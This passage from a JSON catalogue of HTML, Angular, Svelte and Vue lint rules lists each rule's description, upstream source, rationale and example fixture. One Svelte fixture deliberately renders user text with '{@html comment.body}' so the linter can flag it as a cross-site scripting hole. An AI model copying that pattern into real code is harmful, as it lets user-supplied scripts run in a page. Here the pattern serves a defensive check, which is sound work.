        "input": "<div (click)=\"a()\"></div>\n<div (click)=\"a()\" (keydown.enter)=\"a()\" tabindex=\"0\"></div>\n<div on-click=\"a()\" role=\"presentation\"></div>\n<button (click)=\"a()\"></button>\n<a (click)=\"a()\" routerLink=\"/x\">x</a>\n<a (click)=\"a()\">x</a>\n<app-card (click)=\"a()\"></app-card>\n<div role=\"heading\" (keydown)=\"a()\"></div>\n@if (ok) { <div (click)=\"a()\" aria-hidden=\"true\"></div> }\n<div (mouseover)=\"a()\"></div>\n<div (mouseout)=\"a()\" (blur)=\"b()\"></div>\n<label>Name</label>\n<input id=\"a\" /> <label for=\"a\">Name</label> <label [for]=\"id\">Name</label> <label><input /></label>\n@if (ok) { <a></a> }\n<h2></h2>\n<a [innerHTML]=\"html\"></a> <a><img alt=\"x\" /></a> <a aria-label=\"x\"></a> <a>{{ x }}</a>\n<input autofocus />\n<dialog><input autofocus /></dialog>\n<mat-sidenav [autoFocus]=\"x\"></mat-sidenav> <input [autofocus]=\"y\" />\n<p *ngIf=\"a\">x</p>\n<p *ngFor=\"let x of xs\">x</p>\n<div [ngSwitch]=\"a\"><i *ngSwitchCase=\"1\"></i></div>\n<td scope=\"row\"></td>\n<th scope=\"row\"></th>\n<img src=\"a.png\" aria-hidden=\"true\" />\n<img [alt]=\"t\" src=\"a.png\" /> <area href=\"/x\" /> <input type=\"image\" />\n",
        "language": "angular",
        "other_lines": [
          1,
          4,
          6,
          12,
          14,
          15,
          17,
          19,
          20,
          21,
          22,
          23,
          25,
          26
        ],
        "spans": [
          {
            "column": 1,
            "length": 23,
            "line": 10
          }
        ]
      },
      "fix": null,
      "id": "mouse-events-have-key-events",
      "languages": [
        "angular",
        "html",
        "svelte",
        "vue"
      ],
      "options": [],
      "presets": [
        "html/angular-eslint-recommended"
      ],
      "upstream": [
        {
          "id": "mouse-events-have-key-events",
          "partial": false,
          "tool": "angular-eslint",
          "url": "https://github.com/angular-eslint/angular-eslint/blob/v22.8.0/packages/eslint-plugin-template/docs/rules/mouse-events-have-key-events.md"
        }
      ],
      "why": "Content that appears or changes on hover is out of reach for a keyboard user unless the same happens on focus. Pairing `mouseover` with `focus` and `mouseout` with `blur` gives both users the same behavior."
    },
    {
      "category": "correctness",
      "default_level": "off",
      "description": "Reports a `<label>` with no `for` that holds more than one control.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "<!DOCTYPE html>\n<html lang=\"en\">\n<head><title>x</title></head>\n<body>\n<input type=\"text\" name=\"a\">\n<label>L <input type=\"text\" name=\"b\"></label>\n<label for=\"c\">C</label><input type=\"text\" id=\"c\">\n<input type=\"text\" aria-label=\"d\">\n<input type=\"hidden\" name=\"e\">\n<label>a <input id=\"x\"> <input id=\"y\"></label>\n<map name=\"m\"><area href=\"x\"><area href=\"y\" alt=\"ok\"><area alt=\"z\"></map>\n<map name=\"m\"></map>\n<svg><path d=\"\"></path></svg>\n<svg focusable=\"false\"></svg>\n<nav aria-label=\"a\"></nav><nav aria-label=\"a\"></nav>\n<nav></nav><aside></aside>\n<div aria-label=\"x\">y</div>\n<span role=\"button\" aria-label=\"x\">y</span>\n<a aria-label=\"x\">y</a>\n<a href=\"x\" aria-label=\"x\">y</a>\n<div role=\"main\"></div>\n<span role=\"button\"></span>\n<main role=\"main\"></main>\n<a href=\"#\" role=\"button\">x</a>\n<button></button>\n<button aria-label=\"x\"></button>\n<button><img src=\"a\" alt=\"x\"></button>\n<button><svg focusable=\"false\"><title>x</title></svg></button>\n<button><svg focusable=\"false\"><use href=\"#a\"/></svg></button>\n<button><img src=\"a\" alt=\"\"></button>\n<button><span>x</span></button>\n</body>\n</html>\n",
        "language": "html",
        "other_lines": [
          5,
          11,
          12,
          13,
          15,
          16,
          17,
          18,
          19,
          21,
          22,
          23,
          24,
          25,
          29,
          30
        ],
        "spans": [
          {
            "column": 2,
            "length": 5,
            "line": 10
          }
        ]
      },
      "fix": null,
      "id": "multiple-labeled-controls",
      "languages": [
        "angular",
        "html",
        "svelte",
        "vue"
      ],
      "options": [],
      "presets": [
        "html/html-validate-standard"
      ],
      "upstream": [
        {
          "id": "multiple-labeled-controls",
          "partial": false,
          "tool": "html-validate",
          "url": "https://html-validate.org/rules/multiple-labeled-controls.html"
        }
      ],
      "why": "A label names only the first control it holds, so the second control has no name and a click on the label text goes to the wrong one.\n\nTo fix, give each control its own label, with `for` and `id`."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports the `name` of a form control that does not match the option `pattern`, a regex that by default means camelCase, with a trailing `[]` allowed.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "<!DOCTYPE html>\n<title>x</title>\n<p id=\"fooBar\" class=\"ok fooBar x_y\"></p>\n<p id=\"foo-bar\"></p>\n<p id=\"1a\"></p>\n<input name=\"fooBar\">\n<input name=\"foo_bar\">\n<input name=\"foo[]\">\n<p fooBar=\"x\" data-X=\"y\" a_b=\"c\"></p>\n",
        "language": "html",
        "other_lines": [
          3,
          5,
          9
        ],
        "spans": [
          {
            "column": 14,
            "length": 7,
            "line": 7
          }
        ]
      },
      "fix": null,
      "id": "name-pattern",
      "languages": [
        "angular",
        "html",
        "svelte",
        "vue"
      ],
      "options": [
        {
          "default": "^[a-z][a-zA-Z0-9]*(\\[\\])?$",
          "description": "The regex the value must match.",
          "name": "pattern",
          "type": "string"
        }
      ],
      "presets": [],
      "upstream": [
        {
          "id": "name-pattern",
          "partial": false,
          "tool": "html-validate",
          "url": "https://html-validate.org/rules/name-pattern.html"
        }
      ],
      "why": "The name is the key of the value on the server and in scripts, so a fixed style makes the keys predictable; a name in another style is often a typo that the server never reads.\n\nTo fix, rename the control and what reads its value, or change the pattern."
    },
    {
      "category": "correctness",
      "default_level": "warn",
      "description": "Reports a `role` that is one of the abstract roles of the ARIA taxonomy (`widget`, `landmark`, `command`, ...).",
      "example": {
        "config": null,
        "fixed": null,
        "input": "<!DOCTYPE html>\n<html lang=\"en\">\n<head>\n<title> </title>\n</head>\n<body aria-hidden=\"true\">\n<h1></h1>\n<h2><img src=\"a.png\" alt=\"x\"></h2>\n<h3>text</h3>\n<div role=\"widget\"></div>\n<div role=\"button\"></div>\n<button>Go</button>\n<button type=\"button\">Go</button>\n<input name=\"a\">\n<input type=\"text\" name=\"b\">\n<input type=\"submit\" value=\"Go\">\n<video autoplay></video>\n<video controls></video>\n</body>\n</html>\n",
        "language": "html",
        "other_lines": [
          4,
          6,
          7,
          12,
          14,
          16,
          17
        ],
        "spans": [
          {
            "column": 6,
            "length": 13,
            "line": 10
          }
        ]
      },
      "fix": null,
      "id": "no-abstract-role",
      "languages": [
        "angular",
        "html",
        "svelte",
        "vue"
      ],
      "options": [],
      "presets": [
        "html/html-validate-standard"
      ],
      "upstream": [
        {
          "id": "no-abstract-roles",
          "partial": false,
          "tool": "html-eslint",
          "url": "https://html-eslint.org/docs/rules/no-abstract-roles"
        },
        {
          "id": "no-abstract-role",
          "partial": false,
          "tool": "html-validate",
          "url": "https://html-validate.org/rules/no-abstract-role.html"
        }
      ],
      "why": "Abstract roles exist to define the other roles and must not be used in content. Assistive technology ignores them, so the element has no role at all.\n\nTo fix, use a concrete role, or a native element."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports an `&` in text that starts no character reference (`a & b`), and a raw `<` in text where it is not a syntax error, such as the Hugo shortcode `{{<`. A `>` is the rule `no-raw-gt`.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "<!doctype html>\n<title>t</title>\n<p><strong>></strong></p>\n<p>a &gt; b &amp; &#38;</p>\n<p>Ham & Shroom</p>\n<p>one\ntwo > three</p>\n<script>if (a > b) {}</script>\n<style>a > b {}</style>\n",
        "language": "html",
        "other_lines": [
          3,
          7
        ],
        "spans": [
          {
            "column": 8,
            "length": 1,
            "line": 5
          }
        ]
      },
      "fix": null,
      "id": "no-ambiguous-ampersand",
      "languages": [
        "angular",
        "html",
        "svelte",
        "vue"
      ],
      "options": [],
      "presets": [
        "html/html-validate-recommended"
      ],
      "upstream": [
        {
          "id": "no-raw-characters",
          "note": "a lone `&` is `no-ambiguous-ampersand`, a raw `<` the parser's `syntax-error`; html-validate does not report a `>`; the relaxed option is not available",
          "partial": true,
          "tool": "html-validate",
          "url": "https://html-validate.org/rules/no-raw-characters.html"
        }
      ],
      "why": "A lone `&` renders as written, but it turns into a different character the day the text after it spells an entity, and some tools reject it.\n\nTo fix, write `&amp;` for the `&` and `&lt;` for the `<`."
    },
    {
      "category": "suspicious",
      "default_level": "warn",
      "description": "Reports a `{@debug}` tag.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "<p>{@html comment.body}</p>\n<p>{comment.body}</p>\n{@debug comment}\n",
        "language": "svelte",
        "other_lines": [
          1
        ],
        "spans": [
          {
            "column": 1,
            "length": 16,
            "line": 3
          }
        ]
      },
      "fix": null,
      "id": "no-at-debug-tags",
      "languages": [
        "angular",
        "html",
        "svelte",
        "vue"
      ],
      "options": [],
      "presets": [
        "html/eslint-plugin-svelte-recommended"
      ],
      "upstream": [
        {
          "id": "no-at-debug-tags",
          "partial": false,
          "tool": "eslint-plugin-svelte",
          "url": "https://sveltejs.github.io/eslint-plugin-svelte/rules/no-at-debug-tags/"
        }
      ],
      "why": "The tag pauses the browser's debugger whenever its values change, for everyone who runs the page, and it is a leftover of debugging.\n\nTo fix, remove the tag."
    },
    {
      "category": "suspicious",
      "default_level": "warn",
      "description": "Reports a `{@html}` tag.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "<p>{@html comment.body}</p>\n<p>{comment.body}</p>\n{@debug comment}\n",
        "language": "svelte",
        "other_lines": [
          3
        ],
        "spans": [
          {
            "column": 4,
            "length": 20,
            "line": 1
          }
        ]
      },
      "fix": null,
      "id": "no-at-html-tags",
      "languages": [
        "angular",
        "html",
        "svelte",
        "vue"
      ],
      "options": [],
      "presets": [
        "html/eslint-plugin-svelte-recommended"
      ],
      "upstream": [
        {
          "id": "no-at-html-tags",
          "partial": false,
          "tool": "eslint-plugin-svelte",
          "url": "https://sveltejs.github.io/eslint-plugin-svelte/rules/no-at-html-tags/"
        }
      ],
      "why": "`{@html}` inserts the text as markup, so a value that a user wrote can carry a script and runs it in the page: a cross-site scripting hole.\n\nTo fix, write `{value}` so that the text is escaped, or sanitize it first; turn the rule off for a value you control."
    },
    {
      "category": "correctness",
      "default_level": "off",
      "description": "Reports an element with an `autofocus` attribute (or a bound `[autofocus]` on an HTML element; on a component it is one of its inputs). One inside a `<dialog>` is left alone.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "<div (click)=\"a()\"></div>\n<div (click)=\"a()\" (keydown.enter)=\"a()\" tabindex=\"0\"></div>\n<div on-click=\"a()\" role=\"presentation\"></div>\n<button (click)=\"a()\"></button>\n<a (click)=\"a()\" routerLink=\"/x\">x</a>\n<a (click)=\"a()\">x</a>\n<app-card (click)=\"a()\"></app-card>\n<div role=\"heading\" (keydown)=\"a()\"></div>\n@if (ok) { <div (click)=\"a()\" aria-hidden=\"true\"></div> }\n<div (mouseover)=\"a()\"></div>\n<div (mouseout)=\"a()\" (blur)=\"b()\"></div>\n<label>Name</label>\n<input id=\"a\" /> <label for=\"a\">Name</label> <label [for]=\"id\">Name</label> <label><input /></label>\n@if (ok) { <a></a> }\n<h2></h2>\n<a [innerHTML]=\"html\"></a> <a><img alt=\"x\" /></a> <a aria-label=\"x\"></a> <a>{{ x }}</a>\n<input autofocus />\n<dialog><input autofocus /></dialog>\n<mat-sidenav [autoFocus]=\"x\"></mat-sidenav> <input [autofocus]=\"y\" />\n<p *ngIf=\"a\">x</p>\n<p *ngFor=\"let x of xs\">x</p>\n<div [ngSwitch]=\"a\"><i *ngSwitchCase=\"1\"></i></div>\n<td scope=\"row\"></td>\n<th scope=\"row\"></th>\n<img src=\"a.png\" aria-hidden=\"true\" />\n<img [alt]=\"t\" src=\"a.png\" /> <area href=\"/x\" /> <input type=\"image\" />\n",
        "language": "angular",
        "other_lines": [
          1,
          4,
          6,
          10,
          12,
          14,
          15,
          20,
          21,
          22,
          23,
          25,
          26
        ],
        "spans": [
          {
            "column": 8,
            "length": 9,
            "line": 17
          },
          {
            "column": 52,
            "length": 11,
            "line": 19
          }
        ]
      },
      "fix": null,
      "id": "no-autofocus",
      "languages": [
        "angular",
        "html",
        "svelte",
        "vue"
      ],
      "options": [],
      "presets": [
        "html/angular-eslint-recommended"
      ],
      "upstream": [
        {
          "id": "no-autofocus",
          "partial": false,
          "tool": "angular-eslint",
          "url": "https://github.com/angular-eslint/angular-eslint/blob/v22.8.0/packages/eslint-plugin-template/docs/rules/no-autofocus.md"
        }
      ],
      "why": "Moving focus when a page loads skips the content before it: a screen reader user hears the page from the middle, and a sighted keyboard user loses the place. Let the user choose where to start."
    },
    {
      "category": "suspicious",
      "default_level": "off",
      "description": "Reports `<audio>` and `<video>` with `autoplay` and without `muted`.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "<!DOCTYPE html>\n<html lang=\"en\">\n<head>\n<title> </title>\n</head>\n<body aria-hidden=\"true\">\n<h1></h1>\n<h2><img src=\"a.png\" alt=\"x\"></h2>\n<h3>text</h3>\n<div role=\"widget\"></div>\n<div role=\"button\"></div>\n<button>Go</button>\n<button type=\"button\">Go</button>\n<input name=\"a\">\n<input type=\"text\" name=\"b\">\n<input type=\"submit\" value=\"Go\">\n<video autoplay></video>\n<video controls></video>\n</body>\n</html>\n",
        "language": "html",
        "other_lines": [
          4,
          6,
          7,
          10,
          12,
          14,
          16
        ],
        "spans": [
          {
            "column": 8,
            "length": 8,
            "line": 17
          }
        ]
      },
      "fix": null,
      "id": "no-autoplay",
      "languages": [
        "angular",
        "html",
        "svelte",
        "vue"
      ],
      "options": [],
      "presets": [
        "html/html-validate-recommended"
      ],
      "upstream": [
        {
          "id": "no-autoplay",
          "partial": false,
          "tool": "html-validate",
          "url": "https://html-validate.org/rules/no-autoplay.html"
        }
      ],
      "why": "Sound that starts by itself startles users, drowns out a screen reader, and fails accessibility guidelines. Browsers block it in many cases, so the page also behaves differently from one visit to the next.\n\nTo fix, remove `autoplay`, or add `muted`."
    },
    {
      "category": "correctness",
      "default_level": "off",
      "description": "Reports `bind:value` on a checkbox or a radio button.",
      "example": {
        "config": null,
        "fixed": "<head></head>\n<svelte:head><title>t</title></svelte:head>\n<input on:click={a} on:click={a} on:click|once={c} use:tip use:tip use:other style:color=\"a\" style:color|important={b}>\n<input type=\"checkbox\" bind:value={v} bind:checked={v} {id} {id} bind:group class:on>\n<input bind:value class:big>\n<C>{#snippet children()}hi{/snippet}</C>\n<C>{#snippet children(x)}{x}{/snippet}</C>\n<p style:marginLeft=\"1px\" style:margin-left=\"1px\" style:--x=\"1\"></p>\n<p>{\"text\"} {'it'} {`tpl`} {`a${b}`} {\"a'b\"} {text}</p>\n<p>{{ a: 1 }} {[1]} {function () {}} {text}</p>\n<!--bad--> <!-- ok --> <!---->\n<div><style>a { color: red }</style></div>\n<a href=\"https://x.org\" target=\"_blank\">x</a>\n<a href=\"https://x.org\" target=\"_blank\" rel=\"noopener noreferrer\">x</a>\n<a href=\"https://x.org\" target=\"_blank\" rel=\"noreferrer\">x</a>\n<a href=\"/local\" target=\"_blank\">x</a>\n",
        "input": "<head></head>\n<svelte:head><title>t</title></svelte:head>\n<input on:click={a} on:click={a} on:click|once={c} use:tip use:tip use:other style:color=\"a\" style:color|important={b}>\n<input type=\"checkbox\" bind:value={v} bind:checked={v} id={id} {id} bind:group={group} class:on={on}>\n<input bind:value={value} class:big>\n<C>{#snippet children()}hi{/snippet}</C>\n<C>{#snippet children(x)}{x}{/snippet}</C>\n<p style:marginLeft=\"1px\" style:margin-left=\"1px\" style:--x=\"1\"></p>\n<p>{\"text\"} {'it'} {`tpl`} {`a${b}`} {\"a'b\"} {text}</p>\n<p>{{ a: 1 }} {[1]} {function () {}} {text}</p>\n<!--bad--> <!-- ok --> <!---->\n<div><style>a { color: red }</style></div>\n<a href=\"https://x.org\" target=\"_blank\">x</a>\n<a href=\"https://x.org\" target=\"_blank\" rel=\"noopener noreferrer\">x</a>\n<a href=\"https://x.org\" target=\"_blank\" rel=\"noreferrer\">x</a>\n<a href=\"/local\" target=\"_blank\">x</a>\n",
        "language": "svelte",
        "other_lines": [
          1,
          3,
          5,
          6,
          8,
          9,
          10,
          11,
          12,
          13,
          15
        ],
        "spans": [
          {
            "column": 24,
            "length": 10,
            "line": 4
          }
        ]
      },
      "fix": null,
      "id": "no-bind-value-on-checkable-inputs",
      "languages": [
        "angular",
        "html",
        "svelte",
        "vue"
      ],
      "options": [],
      "presets": [],
      "upstream": [
        {
          "id": "no-bind-value-on-checkable-inputs",
          "partial": false,
          "tool": "eslint-plugin-svelte",
          "url": "https://sveltejs.github.io/eslint-plugin-svelte/rules/no-bind-value-on-checkable-inputs/"
        }
      ],
      "why": "The `value` of such an input is a fixed string, and the state is in `checked`, so the binding does not follow what the user does.\n\nTo fix, use `bind:checked`, or `bind:group` for a group of them."
    },
    {
      "category": "correctness",
      "default_level": "warn",
      "description": "Reports an element that has `v-html` or `v-text` and also content between its tags.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "<template>\n  <div>\n    <template><p>lone</p></template>\n    <template v-if=\"a\"><p>ok</p></template>\n    <template #head><p>ok</p></template>\n    <textarea>{{ text }}</textarea>\n    <component></component>\n    <component :is=\"view\" />\n    <template v-for=\"x in xs\"><li :key=\"x\" /></template>\n    <li v-for=\"x in xs\">k</li>\n    <template v-for=\"x in xs\"><li>k</li></template>\n    <MyCard v-for=\"x in xs\" />\n    <MyCard v-html=\"h\" />\n    <b v-if=\"a\" /><i v-else-if=\"a || b\" /><i v-else-if=\"a\" />\n    <li v-else v-for=\"x in xs\" :key=\"x\" />\n    <template v-for=\"x in xs\" :key=\"x\"><li /></template>\n    <p v-html=\"h\">child</p>\n    <p v-text=\"t\"> </p>\n    <a :href=\"u\" target=\"_blank\">x</a>\n  </div>\n</template>\n",
        "language": "vue",
        "other_lines": [
          3,
          6,
          7,
          9,
          10,
          11,
          13,
          14,
          15,
          18,
          19
        ],
        "spans": [
          {
            "column": 8,
            "length": 6,
            "line": 17
          }
        ]
      },
      "fix": null,
      "id": "no-child-content",
      "languages": [
        "angular",
        "html",
        "svelte",
        "vue"
      ],
      "options": [],
      "presets": [
        "html/eslint-plugin-vue-recommended"
      ],
      "upstream": [
        {
          "id": "no-child-content",
          "partial": false,
          "tool": "eslint-plugin-vue",
          "url": "https://eslint.vuejs.org/rules/no-child-content.html"
        }
      ],
      "why": "The directive replaces the content of the element, so the text between the tags is never shown. It is a leftover or a mistake.\n\nTo fix, remove the content, or the directive."
    },
    {
      "category": "suspicious",
      "default_level": "off",
      "description": "Reports an Internet Explorer conditional comment (`<!--[if IE]>`).",
      "example": {
        "config": null,
        "fixed": null,
        "input": "<!DOCTYPE html>\n<title>x</title>\n<!--[if IE]><p>old</p><![endif]-->\n<!-- fine -->\n",
        "language": "html",
        "other_lines": [],
        "spans": [
          {
            "column": 1,
            "length": 34,
            "line": 3
          }
        ]
      },
      "fix": null,
      "id": "no-conditional-comment",
      "languages": [
        "angular",
        "html",
        "svelte",
        "vue"
      ],
      "options": [],
      "presets": [
        "html/html-validate-recommended"
      ],
      "upstream": [
        {
          "id": "no-conditional-comment",
          "partial": false,
          "tool": "html-validate",
          "url": "https://html-validate.org/rules/no-conditional-comment.html"
        }
      ],
      "why": "Only Internet Explorer 9 and older read the content; every other browser sees a comment, so it is code that no current browser runs.\n\nTo fix, remove the comment, or replace it with feature detection or CSS."
    },
    {
      "category": "correctness",
      "default_level": "warn",
      "description": "Reports an attribute that HTML5 no longer has on that element (`align`, `bgcolor`, `border`, ...).",
      "example": {
        "config": null,
        "fixed": null,
        "input": "<!DOCTYPE html>\n<html>\n<head>\n<title>x</title>\n</head>\n<body>\n<blink2>x</blink2>\n<my-element>x</my-element>\n<center>x</center>\n<div align=\"center\">x</div>\n<img>\n<img src=\"a.png\" alt=\"\">\n<iframe src=\"a.html\"></iframe>\n<input type=\"checkbox\" checked=\"checked\" disabled>\n<p hidden=\"\">x</p>\n<p hidden>x</p>\n<button type=\"send\">Go</button>\n<form method=\"put\"></form>\n<svg><foo></foo></svg>\n</body>\n</html>\n",
        "language": "html",
        "other_lines": [
          2,
          7,
          8,
          9,
          11,
          13,
          14,
          15,
          17,
          18
        ],
        "spans": [
          {
            "column": 6,
            "length": 5,
            "line": 10
          }
        ]
      },
      "fix": null,
      "id": "no-deprecated-attr",
      "languages": [
        "angular",
        "html",
        "svelte",
        "vue"
      ],
      "options": [],
      "presets": [
        "html/html-validate-standard",
        "html/html-eslint-recommended"
      ],
      "upstream": [
        {
          "id": "no-obsolete-attrs",
          "partial": false,
          "tool": "html-eslint",
          "url": "https://html-eslint.org/docs/rules/no-obsolete-attrs"
        },
        {
          "id": "no-deprecated-attr",
          "partial": false,
          "tool": "html-validate",
          "url": "https://html-validate.org/rules/no-deprecated-attr.html"
        }
      ],
      "why": "Presentation in attributes is outdated and browsers may stop honoring it; it also overrides less specific CSS in surprising ways.\n\nTo fix, use CSS."
    },
    {
      "category": "correctness",
      "default_level": "warn",
      "description": "Reports `<template functional>`.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "<template>\n  <C :title.sync=\"t\" @click.native=\"go\" @keyup.13=\"k\" inline-template v-is=\"c\" />\n  <p slot=\"head\" is=\"row\"></p><slot name=\"x\" />\n  <template scope=\"p\" slot-scope=\"q\" functional></template>\n  <tr is=\"vue:row\" v-model:title=\"t\" @keyup.enter=\"k\"></tr>\n</template>\n",
        "language": "vue",
        "other_lines": [
          2,
          3
        ],
        "spans": [
          {
            "column": 38,
            "length": 10,
            "line": 4
          }
        ]
      },
      "fix": null,
      "id": "no-deprecated-functional-template",
      "languages": [
        "angular",
        "html",
        "svelte",
        "vue"
      ],
      "options": [],
      "presets": [
        "html/eslint-plugin-vue-recommended"
      ],
      "upstream": [
        {
          "id": "no-deprecated-functional-template",
          "partial": false,
          "tool": "eslint-plugin-vue",
          "url": "https://eslint.vuejs.org/rules/no-deprecated-functional-template.html"
        }
      ],
      "why": "Vue 3 removed functional single file templates, so the component does not work.\n\nTo fix, write a function component."
    },
    {
      "category": "correctness",
      "default_level": "warn",
      "description": "Reports an `is` attribute on a plain HTML element that does not begin with `vue:` (`<tr is=\"row\">`). Only in `.vue` files, where a plain `is` would make a customized built-in element.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "<template>\n  <C :title.sync=\"t\" @click.native=\"go\" @keyup.13=\"k\" inline-template v-is=\"c\" />\n  <p slot=\"head\" is=\"row\"></p><slot name=\"x\" />\n  <template scope=\"p\" slot-scope=\"q\" functional></template>\n  <tr is=\"vue:row\" v-model:title=\"t\" @keyup.enter=\"k\"></tr>\n</template>\n",
        "language": "vue",
        "other_lines": [
          2,
          4
        ],
        "spans": [
          {
            "column": 18,
            "length": 2,
            "line": 3
          }
        ]
      },
      "fix": null,
      "id": "no-deprecated-html-element-is",
      "languages": [
        "angular",
        "html",
        "svelte",
        "vue"
      ],
      "options": [],
      "presets": [
        "html/eslint-plugin-vue-recommended"
      ],
      "upstream": [
        {
          "id": "no-deprecated-html-element-is",
          "partial": false,
          "tool": "eslint-plugin-vue",
          "url": "https://eslint.vuejs.org/rules/no-deprecated-html-element-is.html"
        }
      ],
      "why": "In Vue 3 a plain `is` on an HTML element creates a native customized built-in element, not a Vue component.\n\nTo fix, write `is=\"vue:row\"`, or use `<component :is>`."
    },
    {
      "category": "correctness",
      "default_level": "warn",
      "description": "Reports the `inline-template` attribute.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "<template>\n  <C :title.sync=\"t\" @click.native=\"go\" @keyup.13=\"k\" inline-template v-is=\"c\" />\n  <p slot=\"head\" is=\"row\"></p><slot name=\"x\" />\n  <template scope=\"p\" slot-scope=\"q\" functional></template>\n  <tr is=\"vue:row\" v-model:title=\"t\" @keyup.enter=\"k\"></tr>\n</template>\n",
        "language": "vue",
        "other_lines": [
          3,
          4
        ],
        "spans": [
          {
            "column": 55,
            "length": 15,
            "line": 2
          }
        ]
      },
      "fix": null,
      "id": "no-deprecated-inline-template",
      "languages": [
        "angular",
        "html",
        "svelte",
        "vue"
      ],
      "options": [],
      "presets": [
        "html/eslint-plugin-vue-recommended"
      ],
      "upstream": [
        {
          "id": "no-deprecated-inline-template",
          "partial": false,
          "tool": "eslint-plugin-vue",
          "url": "https://eslint.vuejs.org/rules/no-deprecated-inline-template.html"
        }
      ],
      "why": "Vue 3 removed it, so the content of the tag is not used as the template of the component.\n\nTo fix, use a slot."
    },
    {
      "category": "correctness",
      "default_level": "warn",
      "description": "Reports the `scope` attribute on a `<template>`.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "<template>\n  <C :title.sync=\"t\" @click.native=\"go\" @keyup.13=\"k\" inline-template v-is=\"c\" />\n  <p slot=\"head\" is=\"row\"></p><slot name=\"x\" />\n  <template scope=\"p\" slot-scope=\"q\" functional></template>\n  <tr is=\"vue:row\" v-model:title=\"t\" @keyup.enter=\"k\"></tr>\n</template>\n",
        "language": "vue",
        "other_lines": [
          2,
          3
        ],
        "spans": [
          {
            "column": 13,
            "length": 5,
            "line": 4
          }
        ]
      },
      "fix": null,
      "id": "no-deprecated-scope-attribute",
      "languages": [
        "angular",
        "html",
        "svelte",
        "vue"
      ],
      "options": [],
      "presets": [
        "html/eslint-plugin-vue-recommended"
      ],
      "upstream": [
        {
          "id": "no-deprecated-scope-attribute",
          "partial": false,
          "tool": "eslint-plugin-vue",
          "url": "https://eslint.vuejs.org/rules/no-deprecated-scope-attribute.html"
        }
      ],
      "why": "Vue 3 removed it, so the slot props are not passed to the content.\n\nTo fix, use `v-slot`."
    },
    {
      "category": "correctness",
      "default_level": "warn",
      "description": "Reports the `slot` attribute on an element that is not a `<slot>`. Only in `.vue` files, because in HTML `slot` assigns an element to the slot of a web component.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "<template>\n  <C :title.sync=\"t\" @click.native=\"go\" @keyup.13=\"k\" inline-template v-is=\"c\" />\n  <p slot=\"head\" is=\"row\"></p><slot name=\"x\" />\n  <template scope=\"p\" slot-scope=\"q\" functional></template>\n  <tr is=\"vue:row\" v-model:title=\"t\" @keyup.enter=\"k\"></tr>\n</template>\n",
        "language": "vue",
        "other_lines": [
          2,
          4
        ],
        "spans": [
          {
            "column": 6,
            "length": 4,
            "line": 3
          }
        ]
      },
      "fix": null,
      "id": "no-deprecated-slot-attribute",
      "languages": [
        "angular",
        "html",
        "svelte",
        "vue"
      ],
      "options": [],
      "presets": [
        "html/eslint-plugin-vue-recommended"
      ],
      "upstream": [
        {
          "id": "no-deprecated-slot-attribute",
          "partial": false,
          "tool": "eslint-plugin-vue",
          "url": "https://eslint.vuejs.org/rules/no-deprecated-slot-attribute.html"
        }
      ],
      "why": "Vue 3 removed the attribute for a named slot, so the content is not put in the slot.\n\nTo fix, use `v-slot` (`#name`) on a `<template>`."
    },
    {
      "category": "correctness",
      "default_level": "warn",
      "description": "Reports the `slot-scope` attribute.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "<template>\n  <C :title.sync=\"t\" @click.native=\"go\" @keyup.13=\"k\" inline-template v-is=\"c\" />\n  <p slot=\"head\" is=\"row\"></p><slot name=\"x\" />\n  <template scope=\"p\" slot-scope=\"q\" functional></template>\n  <tr is=\"vue:row\" v-model:title=\"t\" @keyup.enter=\"k\"></tr>\n</template>\n",
        "language": "vue",
        "other_lines": [
          2,
          3
        ],
        "spans": [
          {
            "column": 23,
            "length": 10,
            "line": 4
          }
        ]
      },
      "fix": null,
      "id": "no-deprecated-slot-scope-attribute",
      "languages": [
        "angular",
        "html",
        "svelte",
        "vue"
      ],
      "options": [],
      "presets": [
        "html/eslint-plugin-vue-recommended"
      ],
      "upstream": [
        {
          "id": "no-deprecated-slot-scope-attribute",
          "partial": false,
          "tool": "eslint-plugin-vue",
          "url": "https://eslint.vuejs.org/rules/no-deprecated-slot-scope-attribute.html"
        }
      ],
      "why": "Vue 3 removed it, so the slot props are not passed to the content.\n\nTo fix, use `v-slot` (`#name=\"props\"`)."
    },
    {
      "category": "correctness",
      "default_level": "warn",
      "description": "Reports the `.sync` modifier of `v-bind` (`:title.sync`).",
      "example": {
        "config": null,
        "fixed": null,
        "input": "<template>\n  <C :title.sync=\"t\" @click.native=\"go\" @keyup.13=\"k\" inline-template v-is=\"c\" />\n  <p slot=\"head\" is=\"row\"></p><slot name=\"x\" />\n  <template scope=\"p\" slot-scope=\"q\" functional></template>\n  <tr is=\"vue:row\" v-model:title=\"t\" @keyup.enter=\"k\"></tr>\n</template>\n",
        "language": "vue",
        "other_lines": [
          3,
          4
        ],
        "spans": [
          {
            "column": 6,
            "length": 11,
            "line": 2
          }
        ]
      },
      "fix": null,
      "id": "no-deprecated-v-bind-sync",
      "languages": [
        "angular",
        "html",
        "svelte",
        "vue"
      ],
      "options": [],
      "presets": [
        "html/eslint-plugin-vue-recommended"
      ],
      "upstream": [
        {
          "id": "no-deprecated-v-bind-sync",
          "partial": false,
          "tool": "eslint-plugin-vue",
          "url": "https://eslint.vuejs.org/rules/no-deprecated-v-bind-sync.html"
        }
      ],
      "why": "Vue 3 does not have `.sync`: the binding then does not update the parent, and the component works only until the first change.\n\nTo fix, write `v-model:title=\"t\"`."
    },
    {
      "category": "correctness",
      "default_level": "warn",
      "description": "Reports the `v-is` directive.",
      "example": {
        "config": null,
        "fixed": null,
